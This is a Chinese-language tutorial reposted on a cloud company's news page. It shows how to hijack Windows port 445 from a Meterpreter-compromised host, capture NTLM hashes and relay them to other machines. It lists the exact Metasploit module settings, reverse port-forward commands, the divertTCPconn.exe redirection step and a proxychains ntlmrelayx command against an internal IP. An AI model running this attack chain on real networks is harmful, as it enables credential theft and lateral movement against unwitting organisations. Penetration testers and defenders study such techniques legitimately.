您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關(guān)如何理解Meterpreter在Windows 445端口實施遠程NTLM中繼攻擊測試,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。
劫持445端口來執(zhí)行中繼攻擊或Hash-Capturing攻擊已經(jīng)是一種經(jīng)常會出現(xiàn)的攻擊方式了,當(dāng)你使用meterpreter感染目標(biāo)設(shè)備時,你如何監(jiān)聽445端口呢?就在幾周之前,這個話題再次浮出了水面。但實際上,現(xiàn)有的工具早就已經(jīng)解決了這個問題了,只不過很少有人知道罷了…
我們將介紹如何利用這些工具來對目標(biāo)設(shè)備執(zhí)行中繼攻擊。這種技術(shù)的好處就在于,我們不需要在受感染的主機上使用python2exe或整個Python棧,我們只需要使用簡單的驅(qū)動器和meterpreter就可以實現(xiàn)目標(biāo)。
請注意,為了方便演示,我們這里把所有的文件都放在了目標(biāo)主機的磁盤中,如果你在實際操作中不想這樣的話,你可以使用RAM磁盤解決方案或擴展當(dāng)前的meterpreter內(nèi)存執(zhí)行功能來實現(xiàn)自己的目標(biāo)。除此之外,你還可以采用靜態(tài)編譯等方法來捆綁額外的DLL文件。
首先,我們需要知道主機中哪一個服務(wù)或進程負責(zé)監(jiān)聽端口445。一般來說,在解決這種類型的問題時我喜歡先上網(wǎng)搜索一番,如果有人已經(jīng)回答過這些問題的話,我們就可以直接在系統(tǒng)上手動驗證并復(fù)制解決方案了。所以我直接Google了以下內(nèi)容:
msdnprocess listening port 445
我進行了一系列測試,并通過啟用和禁用服務(wù)來判斷該服務(wù)是否負責(zé)監(jiān)聽445端口,結(jié)果我就發(fā)現(xiàn)了Server服務(wù)。但是這個服務(wù)并不會給我們帶來立竿見影的效果,因為它需要重啟設(shè)備才能完成我們的操作,顯然這不是真正可行的解決方案。因為理想情況下,我們并不想重啟受感染的設(shè)備。
深入分析并查看該服務(wù)的相關(guān)屬性之后,我們就可以找到啟用該服務(wù)的命令:
C:\WINDOWS\system32\svchost.exe-k netsvcs -p
如果你想深入了解svchost.exe的命令行參數(shù),我建議你訪問Geoff Chappell的網(wǎng)站:【傳送門】
如果我們導(dǎo)航到文章上述所介紹的注冊表鍵:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Svchost
我們將看到大量的捆綁服務(wù),但這也并沒有完全解決我們的問題,所以我們需要另辟蹊徑。這里我找到了一篇關(guān)于EternalBlue漏洞利用的文章,這里面提到了漏洞利用分析和Windows 10端口的相關(guān)內(nèi)容:srv.sys驅(qū)動器和某些需要與該驅(qū)動器協(xié)同工作的驅(qū)動器都會涉及到SMB協(xié)議。最后,為了得到最終的確認,我們還找到了這篇文章:【 傳送門】
現(xiàn)在,我們了解到了負責(zé)處理程序與端口445通信的代碼位于內(nèi)核中,這對于我們來說絕對是一個壞消息,因為劫持socket的難度非常大。接下來,我們會介紹如何劫持和重定向端口445。
既然我們已經(jīng)知道了端口445的“主人”存在于內(nèi)核中,我們就可以開始設(shè)計我們的攻擊策略了。首先,我想到的就是使用Linux的iptables來劫持傳入或傳出的連接數(shù)據(jù),因為它所做的工作屬于的是網(wǎng)絡(luò)棧中的底層部分。為了弄清楚這種方法能否應(yīng)用到Windows中,我們需要看一看Windows防火墻的內(nèi)部工作原理:
1、 Windows防火墻架構(gòu):【傳送門】
2、 Windows過濾器平臺概覽:【傳送門】
這里我們需要創(chuàng)建一個專門的驅(qū)動程序,你可能會認為netsh端口重定向技術(shù)可能會有用,但其實不然。雖然創(chuàng)建一個驅(qū)動程序聽起來似乎并不是最理想的解決方案,但如果你搜索類似wfp端口連接之類的相關(guān)內(nèi)容,你就會發(fā)現(xiàn)答案@agsolino已經(jīng)給出了,接下來我們一起看一看如何利用meterpreter和上述技術(shù)來重定向目標(biāo)系統(tǒng)端口445的連接。下圖顯示的是整個技術(shù)的工作機制:
我們可以看到,我們已經(jīng)得到了一臺感染了meterpreter的主機,利用這個meterpreter,我們可以設(shè)置一個反向端口轉(zhuǎn)發(fā),然后在我們的主機上通過端口4444來接收meterpreter連接。遠程監(jiān)聽端口8445(meterpreter)將接收來自端口445的連接數(shù)據(jù),從而劫持來自445的連接,并將它們轉(zhuǎn)發(fā)到metasploit。接下來,我們通過劫持某些憑證來看看如何劫持Windows 445端口:
1. 設(shè)置一個可用的擁有管理員權(quán)限的meterpreter會話;
2. 設(shè)置一個SMB捕捉服務(wù)器:
a) 使用auxiliary/scanner/smb/smb_login
b) 設(shè)置SRVPORT 9445
c) 運行-j
3. 設(shè)置一個meterpreter反向轉(zhuǎn)發(fā)端口:
portfwdadd -R -L 127.0.0.1 -l 9445 -p 8445
4. 設(shè)置端口445劫持:
divert TCPConn.exe 445 8445
現(xiàn)在,當(dāng)目標(biāo)主機連接到受感染主機的445端口之后,你將會在你的metasploit控制臺中接收到哈希:
接下來,我們一起看一看遠程NTLM中繼攻擊的完整實現(xiàn)機制。
現(xiàn)在,我們將在Ubuntu系統(tǒng)中使用ntlmrelayx,中繼設(shè)備為目標(biāo)系統(tǒng)中的某個系統(tǒng)。這里涉及到通過meterpreter來轉(zhuǎn)發(fā)正向和反向流量,反向連接用于確保目標(biāo)網(wǎng)絡(luò)內(nèi)的主機能夠跟受感染主機完成連接,這里需要用到ntlmrelayx,與目標(biāo)網(wǎng)絡(luò)的連接需要涉及到SOCKS代理。下圖顯示的是整個攻擊流程:
第一步跟之前的圖片類似,這里將設(shè)置我們的反向信道:
1. 設(shè)置一個可用的擁有管理員權(quán)限的meterpreter會話
2. 設(shè)置一個meterpreter反向端口轉(zhuǎn)發(fā):
portfwd add -R -p 4445 -l 445 -L 127.0.0.1
3. 通過meterpreter進行端口445劫持:
execute-f divertTCPconn.exe -a '445 4445'
為了設(shè)置轉(zhuǎn)發(fā)信道,我們通過meterpreter會話聽加了一個路由來重定向流量,并設(shè)置SOCKS代理:
1. 通過meterpreter添加路由,這里需要指定IP地址:
route add 192.168.222.103/32 3
2. 設(shè)置SOCKS代理:
a) 使用auxiliary/server/socks4a
b) run
c) 確保/etc/proxychains.conf中指定了SOCKS端口(默認1080)
3. 通過SOCK運行ntlmrelayx:
sudo proxychains ntlmrelayx.py -t smb://192.168.222.103 -smb2support
下圖為運行結(jié)果:
看完上述內(nèi)容,你們對如何理解Meterpreter在Windows 445端口實施遠程NTLM中繼攻擊測試有進一步的了解嗎?如果還想了解更多知識或者相關(guān)內(nèi)容,請關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。